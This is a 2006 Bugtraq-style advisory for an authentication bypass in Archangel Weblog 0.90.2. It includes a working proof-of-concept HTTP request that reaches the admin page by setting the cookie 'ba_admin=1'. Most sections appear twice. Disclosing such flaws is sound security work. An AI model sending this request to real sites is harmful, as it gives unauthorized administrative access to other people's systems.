Archangel Weblog Authentication Bypass Vulnerability
BID:16848
Info
Archangel Weblog Authentication Bypass Vulnerability
| Bugtraq ID: | 16848 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 27 2006 12:00AM |
| Updated: | Mar 02 2006 04:01AM |
| Credit: | KingOfSka is credited with the discovery of this vulnerability. |
| Vulnerable: |
Archangel Management Archangel Weblog 0.90.2 |
| Not Vulnerable: | |
Discussion
Archangel Weblog Authentication Bypass Vulnerability
Archangel Weblog is prone to an authentication-bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data.
An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.
Archangel Weblog is prone to an authentication-bypass vulnerability. This issue is due to a failure in the application to properly validate user-supplied data.
An attacker can exploit this issue to bypass the authentication mechanism and gain access to the affected application as an administrative user. This may facilitate a compromise of the underlying system; other attacks are also possible.
Exploit / POC
Archangel Weblog Authentication Bypass Vulnerability
This issue can be exploited through use of a web client.
The following example HTTP request is sufficient to exploit this issue:
GET http://www.example.com/awb/admin/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
This issue can be exploited through use of a web client.
The following example HTTP request is sufficient to exploit this issue:
GET http://www.example.com/awb/admin/index.php HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051229 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: ba_admin=1
Cache-Control: max-age=0
Solution / Fix
Archangel Weblog Authentication Bypass Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]
References
Archangel Weblog Authentication Bypass Vulnerability
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